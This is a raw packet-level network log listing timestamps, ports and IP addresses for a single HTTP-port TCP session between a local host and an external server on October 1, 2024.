Oct 1, 2024 07:51:11.831940889 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.831952095 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.831962109 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.831971884 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.831981897 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.831985950 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.831996918 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.832007885 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.832010031 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.832031965 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.832051039 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.832881927 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.832894087 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.832904100 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.832914114 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.832925081 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.832935095 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.832942009 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.832978010 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.833596945 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.833606958 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.833616972 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.833627939 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.833637953 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.833647013 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.833648920 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.833657980 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.833671093 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.833689928 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.834569931 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.834580898 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.834590912 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.834602118 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.834610939 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.834619999 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.834621906 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.834633112 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.834640026 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.834644079 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.834652901 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.834659100 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.834682941 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.840481997 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.840548992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.840558052 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.840580940 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.840625048 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.840663910 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.840675116 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.840686083 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.840708017 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.840727091 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.840866089 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.840960026 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.840970039 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.841006994 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.841083050 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.841116905 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.841146946 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.841181040 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.841253042 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.841264963 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.841276884 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.841286898 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.841310978 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.841440916 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.841562986 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.841573000 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.841614008 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.841777086 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.841788054 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.841798067 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.841808081 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.841824055 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.841845036 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.842057943 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.842139959 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.842149973 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.842186928 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.842351913 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.842363119 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.842372894 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.842384100 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.842406034 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.842426062 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.842689037 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.842700005 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.842735052 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.842829943 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.842840910 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.842870951 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.843044043 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.843055010 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.843065023 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.843075991 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.843086004 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.843090057 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.843107939 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.843123913 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.897062063 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.897083044 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.897125959 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.897128105 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.897152901 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.897171974 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.897305012 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.897316933 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.897329092 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.897344112 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.897372007 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.897598028 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.897608042 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.897646904 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.897959948 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.898003101 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.898017883 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.898027897 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.898056984 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.898188114 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.898199081 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.898209095 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.898222923 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.898262024 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.898456097 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.898586988 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.898597956 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.898634911 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.898724079 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.898735046 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.898760080 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.898787022 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.898829937 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.898865938 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.898881912 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.898893118 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.898904085 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.898914099 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.898919106 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.898955107 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.907423019 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.907485008 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.907485008 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.907495975 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.907519102 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.907541990 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.907643080 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.907655001 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.907689095 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.907834053 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.907871008 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.907871962 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.907881021 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.907910109 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.909642935 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.909691095 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.909693956 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.909729958 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.909737110 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.909770966 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.909888029 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.909898043 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.909909010 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.909948111 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.910190105 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.910202026 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.910228014 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.910248041 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.918227911 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.918301105 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.918304920 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.918315887 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.918345928 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.918483019 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.918494940 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.918507099 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.918521881 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.918561935 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.918751001 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.918761969 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.918772936 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.918793917 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.918823957 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.918987036 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.919020891 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.919030905 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.919032097 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.919064999 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.919264078 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.919275999 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.919297934 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.919320107 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.919327974 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.919514894 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.919526100 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.919542074 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.919553041 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.919559002 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.919563055 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.919573069 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.919579029 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.919600964 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.919616938 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.920041084 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.920053959 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.920066118 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.920079947 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.920085907 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.920090914 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.920100927 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.920105934 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.920134068 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.920550108 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.920561075 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.920571089 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.920581102 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.920589924 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.920591116 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.920633078 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.920928955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.920939922 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.920949936 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.920959949 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.920970917 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.920973063 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.921351910 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.921364069 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.921374083 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.921375990 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.921375990 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.921385050 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.921401024 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.921428919 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.921623945 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.921633959 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.921669006 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.929234982 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.929306984 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.929311991 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.929317951 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.929341078 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.929363966 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.929506063 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.929517031 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.929527044 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.929538012 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.929564953 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.929598093 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.929826975 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.929837942 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.929848909 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.929878950 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.929896116 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.930022955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.930033922 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.930044889 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.930073023 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.930104017 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.930275917 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.930285931 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.930327892 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.930406094 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.930418968 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.930429935 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.930439949 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.930448055 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.930449963 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.930485964 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.930891037 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.930901051 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.930912018 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.930922031 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.930932045 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.930932999 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.930942059 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.930953026 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.930974960 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.931957006 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.931967974 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.931977987 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.931988955 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.931998968 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.932008982 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.932015896 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.932018995 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.932029009 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:11.932034016 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:11.932056904 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:12.297287941 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:12.297334909 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:12.302114964 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:12.302186966 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:12.302207947 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:12.302217007 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:12.302227020 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:12.552222013 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:12.552333117 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:12.650616884 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:12.650706053 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:12.655510902 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:12.655595064 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:12.655720949 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:12.908087015 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:12.908162117 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:12.977394104 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:12.982212067 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:13.204653978 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:13.204736948 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:13.768924952 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:13.773796082 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:13.964818954 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:13.964888096 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.174588919 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.179414988 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.356523037 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.356564045 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.356570005 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.356641054 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.356765985 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.356837034 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.361352921 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.361366034 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.361432076 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.361552954 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.361563921 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.361733913 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.366096973 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.366123915 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.366136074 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.366178036 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:14.434480906 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.434634924 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.434647083 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:14.434674978 CEST	49732	80	192.168.2.4	45.200.148.113
